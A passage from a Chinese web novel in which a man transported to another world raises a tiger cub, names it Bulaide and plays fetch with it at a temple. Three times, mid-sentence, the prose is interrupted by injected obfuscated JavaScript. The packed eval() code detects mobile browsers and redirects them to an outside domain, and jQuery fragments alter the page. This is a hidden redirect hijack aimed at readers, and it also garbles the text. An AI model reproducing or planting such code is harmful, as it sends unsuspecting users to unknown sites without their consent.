宋云州惊得后退一步避开,下意识把虎崽抱紧了些:“你干什么?” 虎崽受到惊动睁开眼,终于转头看向纳卡诺,只是一眼,它就又往宋云州的臂弯里扎了扎,稳固好自己的地位。 纳卡诺动作僵住,虎崽全身心信赖宋云州的模样如一根尖刺,瞬间刺醒了他。 在宋云州不解的目光中,纳卡诺收手站定,选择妥协。 他对宋云州说:“你执意要养就养吧,但我要你保证绝对不可以伤害他,遇到危险时也要保护他。” 宋云州不假思索地答应:“它是我的虎崽,我当然会保护好它,你放心好了。” 话音刚落,纳卡诺就转身离开。 说不清为什么,宋云州看着纳卡诺隐入黑雾的背影,总觉得有股莫名的悲伤和落寞。 这些莫名的情绪很快就被他怀里沉甸甸的实感冲淡。 宋云州用手指戳了戳虎崽身侧的软肉,换来被毛尾巴扫了两下胳膊。 他不自觉地轻笑一声。 宋云州从小时候就很喜欢毛茸茸的小动物,怎奈由于一些现实原因,连他自己都只是挣扎在生存线上,分不出多余的精力和物力照顾宠物,因而一直没有机会拥有一只属于他的毛茸茸。 而现在,穿越到异世大陆的第二天—— 他有猫了! 4. 就要贴贴 果园那边还有收尾工作需要进行,带着虎崽不太方便,宋云州就先把虎崽送回了他的房间。 可他抱着虎崽在房间里走了一圈,也没想好要把它安顿在哪里。 没来得及吃的午餐摆在桌子上,持续散发着香味,虎崽翕动鼻翼嗅闻空气,透亮的眼珠直往香气的来处瞟。 宋云州看虎崽这幅馋样,笑着点了点它湿润的鼻头,干脆在桌前坐下,先补充点儿能量。 他在果园折腾到将近下午,错过了午餐时间,纳卡诺用魔法按时送来的午餐就一直放在这里,是一块牛排和一碗蔬菜沙拉。 牛排煎烤得恰到火候,表层金黄焦香,切开后露出纹路分明的内里,一口咬下,鲜嫩肉汁在齿间迸开,没用很重的香料调味,极大程度上保留了牛肉的醇香,虽然已经有些冷了,但依旧是难得的美味。 再配上清新爽口的蔬菜沙拉,化解油腻的同时唇齿留香,宋云州的满足感瞬间拉满。 这种佳肴在他的世界是要在高档餐厅中才能享受到的,现在居然成为了他“平平无奇”的日常工作餐。 宋云州记挂虎崽还饿着肚子,在第一口细品美味后就开始狼吞虎咽,迅速解决掉一半的食物。 在这期间,虎崽就安安静静地坐在宋云州腿上,它的脑袋刚好高过桌子边缘,可以清楚看到面前的好吃的。 它被肉香勾得口水都顺着嘴角淌下,流了老长,滴在宋云州的裤子上,视线牢牢黏在肉块上,却在没得到宋云州允许的情况下坚持忍住一动不动,简直乖得不像样。 宋云州爱怜地揉了一把虎崽软乎乎的毛毛头,软声夸奖:“宝贝好乖啊。” 他本想把碟子放在地上让虎崽吃,但看着全屋地毯又打消了这个念头,地毯沾了油可不好清理。 宋云州把虎崽抱上桌,碟子推到它跟前,鼓励道:“快吃吧。” 虎崽凑近牛排仔细嗅嗅,接着伸出长着倒刺的小舌头试探性地舔了两下,确定食物无毒无害且好吃后,马上开始大快朵颐。 宋云州已经提前将牛排切成了小块,方便虎崽一口一块,不至于为了撕扯肉块而把爪子和皮毛弄油。 他把剩下的半碗沙拉也倒进碟子的一侧,但不知道虎崽会不会吃。 谁料虎崽好养活得很,一点儿都不挑食,每样食物都吃得津津有味,它甚至还学着宋云州的样子一口肉一口菜地掺着吃。 宋云州一手支在桌上托腮,另一手无意识地随意抚着放在一边的餐具,静静观察虎崽吃饭的模样。 虎崽起先是站在桌上,曲着前肢低头吃,可能是觉得这个姿势太费力,它吃了两口后干脆直接趴在桌上,两条前腿呈“八”字形分开搭在碟子两侧,像是把碟子整个抱在怀里,歪头用牙齿去叼肉块。 房间中一时只有虎崽的咀嚼声,以及它的牙齿和瓷碟时不时相触发出的轻微碰撞声。 虎崽放在身侧的毛尾巴因为吃饭的快乐,尾巴尖一翘一翘的,每一下都像是点在了宋云州心里。 宋云州的心灵都被这只小毛球治愈了。 等虎崽吃完饭,宋云州把它放到地上,看了看在虎崽能够到的地方没什么易碎或是会伤到它的东西,便放心让它在屋里自由跑动。 虎崽被家具吸引,好奇地走走看看,宋云州在它背后叮嘱:“你自己玩一会儿,我出去一趟马上回来。” 宋云州返回果园,马不停蹄地把挖出的陷阱土坑填平,收拾好一众工具带回神殿,这才算真正结束今天的工作。 他提着特意为虎崽摘回来的一大袋红苹果,迫不及待地赶回房间。 “我回来啦。” 宋云州一打开房门,虎崽从床上一跃而下,跑到他面前直立起身,两只前爪扑了扑他的裤腿表达欢迎。 虎崽在宋云州身前绕来绕去,琥珀色眼眸期待地盯着他看,喉间发出轻哼。 宋云州很快明白它这是在求摸摸,顿时笑得合不拢嘴。 这虎崽怎么狗里狗气的? 好可爱! 好喜欢! 宋云州顺手把苹果放在门边,蹲下身开始愉快撸猫。 虎崽主动迎过来,半倚着宋云州的手掌走动,恰好能让宋云州从它的头顶一路抚到尾巴尖,之后转个身,再来一遍。 几趟过后,宋云州把还想再来几遍的虎崽抱了起来,他另一手提起苹果放到桌上,关了房门。 虎崽意犹未尽地在宋云州怀里扭来扭去,“嗷嗷”叫了几声,前爪搭上宋云州肩膀,后爪踩着他胳膊,粉嫩鼻头几乎都要贴上宋云州的脸颊,试图博取更多关注。 宋云州超享受虎崽冲他撒娇,一手护在虎崽背后,防止它摔下去,正要坐到沙发上再撸几下猫的时候,他的眼角余光突然捕捉到了房间中不和谐的地方。 他早晨起床时习惯性打理平整的床单此时此刻变得扭曲褶皱,浅色花纹上还新添了一连串杂乱的脏爪印。 不用想都知道是哪只老虎崽崽干的。 显然这只虎崽还没察觉到坏事败露,仍在亲昵地用下巴和胡须去蹭宋云州,直到宋云州把它带到床边。 虎崽下意识以为宋云州想带它到床上玩,主动就想往床上跳。 谁知宋云州止住了它的动作,并且把床单上的黑爪印指给它看。 宋云州故意板起脸,压低声音质问:“这是谁干的?是不是你?嗯?” 虎崽从宋云州的语气里发觉事情似乎不妙,于是开始回避问题,视线飘忽,望天望地,就是不往被它弄乱的床上看。 宋云州把床单拉到虎崽面前,床单在左边,它就往右扭头,床单扯到右边,它又马上转头向左。 好像默认只要不看就不是它干的,就不能说它了。 到后来,虎崽直接缩在宋云州怀里一动不动,妄图伪装成一块蓬松的三色小面包。 宋云州着实被虎崽萌到了,没绷住笑出了声。 他揪了揪虎崽的小耳朵,松口道:“看在你这么可爱的份儿上,这次就饶过你吧。” 说是“揪”,其实宋云州根本没敢用力,他怕伤到虎崽柔嫩的耳骨,只是用指尖轻轻揉搓了两下柔韧的圆耳朵。 虎崽痒得抖了抖耳根,神奇地从宋云州这一行为中解读出“和好”信号,眨巴着大眼睛看了看宋云州,马上又恢复了活力,接着在宋云州怀里卖乖讨巧。 傍晚的钟声敲响,一小团黑雾突然聚拢又消散,晚餐随之出现在桌子上。 答应宋云州养虎崽,纳卡诺说到做到,居然连晚餐都体贴地准备了两份一模一样的。 这次虎崽不用再等宋云州吃完才能吃了,宋云州把它抱到自己对面,一起用餐。 宋云州起先还担心虎崽吃人类的饭会不习惯,提前给它准备了苹果,但现在看它接受良好,甚至吃得比他都要快,便放下心来。 虎崽年纪太小,精力有限,吃过饭后就开始犯困,趴在宋云州腿上打瞌睡。 虎崽的毛毛看起来并不脏,可它之前毕竟生活在山里,还掉过土坑,也不可能太干净,按理说该给它洗个澡的。 这个世界没有吹风机,光用毛巾的话没办法完全擦干,虎崽湿着睡觉容易得皮肤病,宋云州可不想让它冒这个风险。 于是他抱虎崽去卫生间,只用干净毛巾简单擦了擦它毛上附着的浮土,连同耳朵和脚爪。 宋云州从柜子里找出一床薄被,叠成小豆腐块的样子,当做是一个简易的窝放在床脚下。 他动作轻柔地把迷迷瞪瞪的虎崽放进窝里,轻声和它商量:“你今晚将就一下睡在这里,明天我再想办法给你做个更好的窝。” 虎崽安安稳稳睡着了。 宋云州最后揉了一下虎崽软乎乎的爪垫,轻手轻脚离开去忙自己的事。 他揭下占满脚印的床单,换了个干净的,再从衣柜里找出一身符合自己身量的换洗衣服,去洗了个澡。 宋云州打算在等头发自然干的同时,洗一下换下的床单和衣服,却突然意识到一个问题—— 洗完晾在哪呢? 他的房间里没有留出能晾晒衣服的空间或是装置。 会不会是晾在神殿外面? 宋云州把要洗的东西先收到了一边,看来只能明天去问纳卡诺了。 宋云州五指插进湿漉漉的短发捋了捋,在桌前坐下,他没什么事情可做,房间里连本书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142432|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没有,只能在这里干坐着。 但很快他就找到了可以用于消遣的娱乐项目。 ——看虎崽睡觉。 虎崽仰面躺在窝里,睡得香甜,前肢微蜷在胸前,脑袋后仰,毫不设防地露出掺杂些许黑条纹的白色肚皮,柔软的小肚皮随着呼吸有规律地起起伏伏。 造物主真是偏爱这个小生灵,一道黑一道黄的花纹,再以白色作为衬托,看似杂乱,实则和谐而又具有艺术美,怎么看都看不够。 宋云州就这样盯着虎崽看了好半天,直到头发完全干透,才心满意足地吹灭蜡烛,上床睡觉。 可没想到的是,他前脚刚盖好被子,后脚虎崽就跳上了床。 宋云州:“……” 明明他上床前虎崽还在呼呼大睡,怎么突然就醒了? 宋云州起身把虎崽送回窝里,好好跟它讲道理:“你不可以上床,你睡在你的窝里。” 虎崽站在窝里,在黑暗中歪头盯着宋云州看。 宋云州坐在床上和虎崽对视,等了一会儿,见虎崽没再动作,才重新躺下。 他脑袋刚一沾枕头,就又感觉到腿部的床垫传来凹陷感,两秒钟后,一颗毛茸茸的脑袋抵在了他的手边。 宋云州:“……” 他只能再重复刚才的动作:“不可以哦,小心我半夜翻身压到你。” 一人一虎就此陷入一场拉锯战。 宋云州侧躺在床上,上一秒捞着虎崽的肚子把它放到地上,虎崽脚爪刚碰到地面,下一秒就立刻接着往床上跳。 虎崽还以为宋云州是在跟它做游戏,上床之后故意往宋云州的手边凑合,期待再被放下床去。 几回合下来,宋云州胳膊都酸了,虎崽还是精力十足,也不知道这软软的床垫给它下了什么吸引魔咒。 宋云州硬是被这简单重复的体力劳动折腾困了,摸着再次窜上来的虎崽的背脊,他甘拜下风。 虎崽温软的皮毛仿佛有磁铁吸力,让宋云州的手指摸上就不愿收回来。 “就这么想和我一起睡啊?” 宋云州闭着眼睛,在黑暗中扬起唇角,他丝毫不觉得虎崽的行为对他造成了困扰,反而有一种被依赖、被需要的满足感洋溢心间。 他静了数息,睁眼坐起身,背倚靠在床头,把虎崽抱进怀里。 他轻声对虎崽解释道:“我睡觉不老实,睡相不好,很可能会压到或是踹到你,还是这样比较安全一点。” 虎崽身板太小,宋云州不敢想,万一虎崽在他睡着后,趴到了他的腿边,被他无意识中一脚踹下床会造成怎样严重的后果。 所以他干脆怀抱虎崽坐着睡。 宋云州拉过被子,自身后裹住他和虎崽。 虎崽的意愿得到好好满足,它在宋云州怀里转了两圈,选好一个舒服的姿势,安静下来,在宋云州轻缓的抚摸下打了个哈欠,脑袋一歪,枕在了他的胸口上。 宋云州抚摸虎崽背毛的速度越来越慢,直至最后停下。 他和虎崽依偎在一起睡着了。 转天一大早,宋云州是被一阵激烈的挠门声吵醒的。 他睁眼就看到虎崽围着房门转圈圈,时不时用磨钝的爪子挠门一两下。 虎崽察觉宋云州醒来,“嗷嗷”叫着跑到床边,又马上跑回门边,琥珀色眼珠直望向宋云州。 “你怎么了?” 宋云州不知道虎崽为什么突然变得焦躁,但他看懂了它的意图:“你想把门打开?” 虎崽的举动让宋云州莫名觉得心里发慌,他连鞋都没穿就快步走到门口。 宋云州摸上泛着凉意的门把手,脑海中止不住地想,都说动物能感知到潜在的危险,门外不会站着什么不好的东西吧? 他深吸口气,鼓起勇气猛地拉开房门,发现门外走廊空无一物。 宋云州刚放松下来,却猛地意识到虎崽在他开门的一瞬间就冲了出去。 “等一下!” 宋云州一惊,立刻追上去。 他终究要比四条腿的虎崽跑得慢,而且反应还慢了半拍,等他一路追到圆石空地上,往周围望去,哪里还有虎崽的影子。 5. 香软面包 虎崽黑黄色的身影如离弦之箭般冲向走廊尽头,只留给宋云州一个果决的背影。 粗长的毛尾巴随着它的跑动扬在身后,在楼梯口一甩就不见了。 宋云州追向虎崽的时候就觉得心凉了半截,他跑到楼下,悬着的心终于碎了。 神殿四周静悄悄的,只有远山传来鸟鸣,空地周边的花丛灌木全部保持静止状态,根本看不出虎崽跑向了何处。 宋云州还没来得及给虎崽起名字,以致于现下他都没办法呼唤着寻找它。 宋云州有些茫然地站在楼下,视线愣愣地掠过各处草丛。 就这样……离开了吗? 此时太阳刚刚升起,尚未将温度给予大地,夜晚的寒气渗透圆石空地,光脚踩在石面上像冰一样冷。 宋云州却似是根本感受不到。 他虽然只和虎崽相处了短短半天,并没有培养出多深的感情,但要说不失落、不难过那是不可能的。 他是真的把虎崽当做身边很重要的一份子来对待。 宋云州脑中闪过请求纳卡诺用魔法相助的念头,可纳卡诺本就不赞同他喂养虎崽,现在虎崽跑掉了,纳卡诺没理由再帮他把虎崽找回来。 更或许虎崽不愿意和人类一起生活,他不能自私地把虎崽强留在身边。 虎崽在宋云州眼前蹦蹦跳跳的情景仿佛幻梦一场,他后悔昨夜没有再多看它几眼、再多摸摸它。 宋云州僵立半晌,像是这时才承认了某种事实,收敛好心绪,缓慢移动几乎被冻僵的双脚,默默转身走回神殿。 他努力往好处想,只要虎崽还在附近,说不定还会去果园摘苹果吃,只要他多去果园转几圈,没准很快就能再见到它了。 宋云州行至阶梯中段,不料就在这时,一片温暖的毛茸茸毫无预兆地蹭上了他的脚踝。 宋云州动作猛地一顿,心脏狂跳,立刻低头去看。 虎崽走路没有任何声息,不知何时又跑了回来,前腿倚在宋云州脚边,正仰头眼巴巴地看着他。 和宋云州目光相接,虎崽“嗷”了两声,一屁股坐在台阶上不动了,雪白的胸脯挺得端正。 它的意思很明确—— 要抱抱。 宋云州的心情像坐过山车一样大起大落,看着失而复得的虎崽,眼眶瞬间微微发烫。 他当即蹲下,一把将虎崽搂进怀里,用力抱紧,声音带了些哭腔:“你吓死我了,还以为你跑走,再也不回来了。” 虎崽搞不懂宋云州的反应为什么这么大,反正宋云州的怀抱温暖依旧,它惬意地把下巴垫在宋云州肩膀上,享受地眯起眼睛。 宋云州把脸埋进虎崽柔软的皮毛中,掩去流出的泪水,顺便吸了几口猫猫。 吸着吸着,宋云州隐约觉得虎崽的味道有点儿奇怪。 它身上沾了晨间花叶的露水,有浓浓的泥土和草叶清香,其中还掺杂着一股浅淡的…… 宋云州仔细思考了一下这个味道,突然福至心灵想到了什么,哭笑不得。 ——原来虎崽刚才那么急,是急着跑去方便啊。 愧疚感迅速占据了宋云州的内心,从昨天中午到现在他居然都没有想起这件顶顶重要的事情来。 虎崽的叫声也有些沙哑,他同样忘记给它喝水了。 宋云州自责地用脸颊蹭了蹭虎崽的毛脑袋,软声向它道歉:“对不起,是我不好,让你受委屈了。” 虎崽才不认为宋云州有什么不好,它满意地用额头回蹭了蹭他。 宋云州和虎崽进入神殿,恰好和纳卡诺遇见。 “早上好。”宋云州抱着虎崽,率先微笑着打了个招呼。 “早。”纳卡诺看了眼扒在宋云州颈边的虎崽,礼貌回应。 下一刻他瞥见宋云州的脚:“怎么不穿鞋就出来了?” 宋云州听纳卡诺提起才后知后觉地低头看了眼,局促地蜷了蜷脚趾,撒了个小谎:“着急陪虎崽出来方便,没来得及。” 不能让纳卡诺知道刚才的事,不然该不让他养了。 纳卡诺并不在意这些理由,随意点了下头,转身要推门进入大厅一侧的房间。 宋云州叫住他:“纳卡诺,神殿里晾衣服的地方在哪儿?我看房间里好像没法儿晾。” 纳卡诺侧身看向宋云州:“神殿中设有净化法阵,每晚十二点整启动,会自行清洁所有物品上的污垢,第二天照常使用即可,不必自己去洗。” 魔法居然还能这么用,宋云州暗自赞叹一声“好高级”,联想到:“那是不是只要住在神殿里,也不用自己洗澡了?” 纳卡诺:“……澡还是要洗的,净化法阵只对无生命的物体有效。” 宋云州表情略微失望地点了点头,看来还是得由他给虎崽洗个澡。 虎崽呼出的温热气流间歇拂在宋云州颈侧,宋云州伸手抚了下那一小块泛着痒意的皮肤。 他继续对纳卡诺说:“我还想给虎崽要一点儿新鲜的生肉,我怕它总和我吃一样的会对身体不好。” “他不吃……” 纳卡诺脱口就想说“他不吃生肉”,但这样一来宋云州肯定会追问为什么,而他又不想告知宋云州真相,故而换了个说法。 “现在只剩冰库中储存的冻肉了,等过几天就会有人打猎回来,到时候你去找她要。” 宋云州道过谢,目送纳卡诺将拱形双开门推开一道可通行的窄缝,走了进去,厚重木门旋即闭合。 这扇门比一般房间的大门要高出一半左右,看着十分气派,不知道里面是什么地方。 宋云州并不好奇,径直带虎崽回了房间,第一件事就是给虎崽倒了一碗白开水,看着它迅速喝下一大半。 宋云州想着净化魔法的事,将信将疑地展开昨晚换下来的脏床单和衣服。 他发现上面的污渍和褶皱竟然真的尽数消失,变成了近乎是全新的模样,这是靠手洗完全无法做到的。 宋云州愉快地把它们收进柜子,这魔法实在是太实用了,省下他不少工夫。 虎崽喝饱了水,就趴卧在地上一瞬不瞬地盯着宋云州看,毛脑袋随着他的走动转来转去。 当宋云州向它走来时,虎崽马上坐起身,挺直腰板,期待地翘了翘尾巴。 “在等我?” 宋云州如虎崽所愿把它抱了起来,笑着伸手指挠了挠它毛乎乎的下巴。 虎崽配合地仰头,把颈部的白色毛毛全部展示出来。 “一会儿我给你洗个澡,要乖哦。” 宋云州烧开热水,和凉水混合降温,确定温度适宜后,他把虎崽慢慢放进盛水的大木盆中。 本以为虎崽是猫科动物,沾到水会下意识躲避,没想到虎崽并没有什么太大的反应。 它坐在水里,好奇地低头嗅嗅看看舔舔,用爪子踩踩水,又用尾巴拍了拍。 许是觉得激起的水花有意思,虎崽边甩尾巴拍水,边伸爪子想要扑住水花。 虎崽自娱自乐,直到宋云州拖来板凳坐到它身边,开始用双手往它身上撩水才安静下来。 宋云州做好了在洗澡过程中被虎崽应激抓咬的心理建设,实际操作起来却意外的十分顺利。 虎崽眨巴着大眼睛,不太理解宋云州在它身上捣鼓什么,但也没反对,只是仰头把鼻尖凑近宋云州嗅了嗅。 宋云州被虎崽蹭得下巴发痒,笑着低头和它对了对鼻尖,随后把浸湿全身的虎崽放到地上涂香皂。 散发植物清香的香皂打在毛毛上的起泡效果很不错,一层莹白暄腾的泡沫均匀覆盖在虎崽身上,让它看起来就像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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没有比这个词更适合形容虎崽的了,但他很快想到虎崽终究会长成大老虎,等它长大后再叫这个名字就不那么威风了。 宋云州思来想去,最终定下了“布瑞德”。 这个名字无论是虎崽还是大老虎都适用,更重要的是,只有宋云州一个人知道,它是“bread”的谐音,一块小面包。 宋云州的心脏亢奋地加速鼓动,这是独属于他和虎崽的秘密。 看向正在喝奶的虎崽,宋云州轻敲了一下桌面,吸引来它的注意力。 “以后你就叫‘布瑞德’,知道了吗?” 虎崽抬头,琥珀眼眸认真注视着宋云州。 “布瑞德。” 宋云州叫了一声。 虎崽的耳朵动了动。 “布瑞德,过来。” 宋云州没做任何动作,只是轻轻地呼唤它,他不奢求虎崽做出回应,只是想多叫它的名字几声。 可在这一刻,似是有神迹降临,虎崽竟真的站起身,迈步朝宋云州走来。 不知名的情绪陡然上涌,宋云州鼻腔发酸,眼眶中有了水雾。 他快速眨掉雾气,定定看着虎崽坚定地向他靠近。 当人类给某个事物或某只生灵起名字的时候,它所代表的意义就由此刻开始变得非凡起来。 而在得到回应之时,非凡的意义即刻达成圆满。 宋云州伸手抱过布瑞德,不管它的毛毛仍半湿不干,在它脑门上亲了一大口,随即双手托在布瑞德腋下,站起来将它高高举过头顶,在璀璨的阳光中转了两大圈。 布瑞德在金芒中熠熠生辉,宋云州激动地大声宣布:“布瑞德,你就是这个世界上最可爱的小面包!” 6. 异世之人 屋外阳光绚烂,微风和煦,正是出去遛弯的好时候,刚洗过澡的布瑞德合该出去运动运动,让毛毛干得更快些。 宋云州翻箱倒柜找了半天,还真找到了他想要的东西,揣进衣袋。 他切了两个苹果,用碟子装好,临下楼前又盛了满满一碗白开水。 准备好一切,宋云州打开房门,招呼布瑞德跟上。 “布瑞德,快来,咱们一起出去玩啦!” 布瑞德能从宋云州的语调中感受到快乐,猜到是要去做有意思的事,便也兴高采烈起来,两步跃出房门。 宋云州两只手上都拿了东西,布瑞德蹭不上抱抱,只能自己下楼梯。 布瑞德好好站在地上的时候,距宋云州的膝盖还有一段距离,毛乎乎的四条小胖腿还没长开,步幅有限。 若它想和宋云州保持相同速度,就得快速迈步,处于一种类似慢跑的状态。 宋云州不愿让布瑞德累着,刻意配合它放慢步子,让布瑞德能够轻轻松松跟在他身边。 初升的旭日尚未完全照耀神殿,圆石空地的一部分笼罩在神殿投下的阴影里,宋云州带着布瑞德来到有阳光的那一边。 他把苹果和水都放在第三级石阶的右侧边缘处,既不会被轻易碰撒,又伸手就能够到。 宋云州从口袋里掏出两个手心大小的毛线球,在布瑞德面前晃了晃,开始向这只虎崽介绍一个绝大部分狗狗都热衷的游戏。 “我们来玩扔球,我把球扔出去,你负责跑去把它叼回来。如果你做得好,就可以获得苹果作为零食奖励。” 宋云州边说边比划,做出向远处扔球的动作,实际只扔到了布瑞德脚边。 可能是大猫的天性使然,布瑞德看到毛线球下意识就想伸爪去扑。 宋云州抢在那之前,捡起毛线球塞进了布瑞德的嘴里。 布瑞德含着毛线球,动动牙齿,发现咬不动,于是冲宋云州呆呆地眨了眨眼睛,不明所以。 宋云州耐心引导:“就像这样叼回来,然后递给我。” 说着,他又把球从布瑞德嘴里拿了出来,握在手中,侧身取来一小块切好的苹果,递到它嘴边。 “这就是奖励。”宋云州完成了一套示范动作,问,“听明白了吗?” 布瑞德的眼神依旧懵懂,但它认得宋云州手里的东西,就先把它比较懂的苹果嚼嚼咽下。 “那我现在要开始扔球喽。” 宋云州把毛线团在手中掂了两下,扔到离布瑞德稍微远一些的地方。 布瑞德偏头看着毛线团滚远,又转回来看看宋云州,站在原地无动于衷,目光直往放在高处的苹果碟子瞟。 宋云州当然没指望只说一遍布瑞德就能明白,他拿上一块苹果,把布瑞德吸引到自己跟前,却只是将苹果贴近它的鼻尖,在布瑞德张嘴来吃时迅速躲开。 布瑞德扑了个空,也不着恼,歪头看着宋云州思考了一下,往地上端正一坐,表示自己很乖,非常值得被奖励好多好多苹果。 宋云州被布瑞德可爱的模样逗得一笑,情不自禁地揉了揉它的毛脑袋:“跟我来。” 布瑞德跟着宋云州走到扔出去的毛线球旁。 宋云州如法炮制,把球放进布瑞德嘴里再拿出来,这才将苹果给它。 布瑞德嚼着苹果,小脑袋瓜飞速转动,有些明白宋云州的意思了—— 想吃苹果就要用这颗球来换。 当宋云州再次扔出毛线球时,布瑞德没怎么犹豫就追了上去,竟真的叼着毛线球跑回宋云州身边。 这时的它还有些不太确定,在距宋云州几步远的地方慢下来,含着球眼巴巴望过来,不知道宋云州到底是不是这个意思。 宋云州没想到布瑞德这么快就能上手,惊喜地伸手捋了两把它身侧的皮毛,毫不吝啬肯定与夸奖:“就是这样,我们的布瑞德真聪明!” 他接过球,依照约定拿来一块苹果。 初次捡球尝试大获成功,布瑞德顿时更有干劲儿,兴冲冲扑了扑宋云州的裤腿,催他快点儿接着扔。 红色毛线球在空中划过一道又一道弧度,布瑞德追着它发足奔跑在阳光下。 虎崽流畅的身体线条虽然仍显稚嫩,但已然兼具力量与美感的雏形,锦缎般顺滑柔亮的皮毛粼粼闪光,长尾巴在跑动过程中平举在身后,尾巴尖的一小段向上翘起。 布瑞德如同优秀的猎手那样,目光紧紧锁定猎物,动作轻盈地快速奔跑拦截,所经之处带起一阵肆意的风。 光是看着它跑来跑去,都是一种美妙的视觉享受。 宋云州的后勤服务做得十分到位,每次布瑞德咬着球得意归来,他都会蹲下回以热烈迎接,边摸边夸—— “布瑞德好棒啊!” “布瑞德真厉害!” 到后来,布瑞德迷失在一下下摸头和一句句夸奖中,连送到嘴边的苹果都不香了。 它甚至主动提前跑到远处等待,在宋云州扔出球之后,迅捷灵巧地凌空跃起,精准地张嘴叼住,立刻向宋云州跑来。 布瑞德晕乎乎地听着宋云州的赞美,顶开碍事的苹果,一个劲儿往宋云州身上倚靠,希望他能多摸摸它。 宋云州抚过布瑞德皮毛的时候稍微加了些力道,它被摸得舒服了,过瘾了,喉咙里就会发出“哞呜哞呜”的声音。 由于宋云州的抚摸太过上头,布瑞德的四肢像长时间浸泡在温水中那般开始发软,身体倒向一侧,难以自制地想在宋云州面前翻出柔软的肚皮来。 在布瑞德的认知里,翻肚皮是表达信赖与喜欢的最高礼节,却没想到,这个人类居然狠心且冷漠地制止了它! 宋云州眼疾手快地扶住布瑞德,没让它往地上贴。 他确实也很想摸摸那白软的肚肚,但他理智尚存,要是现在让布瑞德在地上打个滚,那澡就白洗了。 布瑞德不知道这些,它只知道宋云州拒绝摸它! 布瑞德很气。 它耷拉着眼,大喘了一口气,拼命往宋云州怀里扎,要他用抱抱抚慰它受伤的心灵。 布瑞德在宋云州怀里四处乱窜,无意中碰到了他的痒痒肉。 宋云州一激,痒得笑起来,一边下意识向后躲,一边迅速把布瑞德抱开。 布瑞德悬空蹬了蹬腿,再次尝到被宋云州拒绝的滋味,于是更气了。 宋云州和布瑞德对视,从它气鼓鼓的漂亮琥珀眼中看到他的倒影,顿时笑得更灿烂。 他讨好地把布瑞德放到台阶上,用苹果和水贿赂它。 布瑞德跑了半天着实渴了,把矛盾先扔到一边,“吧嗒吧嗒”大口舔水,喝着还不忘悄悄抬眼偷瞄宋云州。 喝饱了水,布瑞德餮足地用嫩红的舌头舔了舔口鼻,一双眼珠不遮不掩地移向站在它身侧的宋云州,静了一秒,随即猛然跃起,朝他扑来。 宋云州从布瑞德眼中看出了它的小心思,早有防备,在它行动的瞬间转身撒腿跑开。 布瑞德迅速腾跃追上。 宋云州只在前几步尽了力,后面速度慢下,同时转身,正好让奔到近前的布瑞德扑个正着,顺势主动坐倒在地。 他有意顺着布瑞德玩闹,佯装被凶猛又勇敢的虎崽抓住了,做出一副懊恼模样:“哇哦,居然被你追上了,布瑞德怎么能跑得这么快呀!” 布瑞德很吃这一套,它攀到宋云州身上,把根本没露出爪子的柔软前脚掌压在他肩膀上,骄傲的眼神居高临下地盯着它的“战利品”。 布瑞德目前的体重根本压不倒宋云州,宋云州反而还怕它站不稳摔下去,伸手揽在它背后,自然地顺了顺毛。 布瑞德甩甩尾巴,又向前凑了凑,放大的虎脸几乎要与宋云州相贴。 布瑞德盯着宋云州的眼睛细看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142434|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也不知道在看些什么,专注的神情让它显得十分呆萌。 宋云州抬手抚摸过它的鼻梁、额头,抓抓它的后颈,潮湿的毛毛基本全都干透了,最后目光落在那一对圆溜溜的耳朵上。 宋云州手心抚过,圆耳朵被压倒,又马上立起来,超级有弹性,宋云州来回玩了好几次,直到布瑞德痒得甩了甩头他才收手。 布瑞德对宋云州的表现很满意,不摸肚子的小插曲变成过去时,它惬意地四肢一弯,卧在了宋云州身上。 但很快布瑞德眼睛一亮,重新立起身来。 ——宋云州从口袋里拿出了另外那只新的毛线球。 宋云州看着布瑞德飞奔而去的背影,觉得他真的很有当饲养员的天赋,不过细究起来,更多还是因为布瑞德很乖很听话。 究竟是交到了怎样的好运,才能遇到这么合心意的小面包啊? 宋云州心中被暖融融的气泡充盈,阳光照进来,折射出瑰丽梦幻的斑斓光影。 他扬起灿烂笑脸,挥手高声呼唤:“布瑞德,这边!” 快乐的情绪在空气中四处扩散,笑闹声钻过窗户,传入神殿三楼的某个房间中。 有人一直立在窗前观察圆石空地上的情况。 “年轻人真是有活力啊。” 一道苍老的声音如是感叹道。 其实落地窗前原本有两个人。 纳卡诺只是想探查一下虎崽的状态如何,可当他看明白宋云州掏出毛线球是要干什么,瞬间脑子嗡嗡的。 他立刻就想冲下楼阻止,却苦于缺乏理由和立场,只能眼不见为净,在虎崽开始追着球满地乱跑的时候就坐回了桌边,随便拿过一本书看,转移注意力。 但半天都没翻过页。 老者的话将纳卡诺分散的精神拉回现实。 纳卡诺扫了老者一眼,没接话。 站在窗边的老者苍白清瘦,身躯覆在一袭华美的白色嵌金纹长袍下。 奇异的是老者一直紧闭双目,他的头颅却仍能追随楼下人的动态左右微动,似乎闭着的双眼并不影响他视物。 若宋云州在这里,定然会一眼认出这就是在伦达奥城拿扇子为他指路的那位老人。 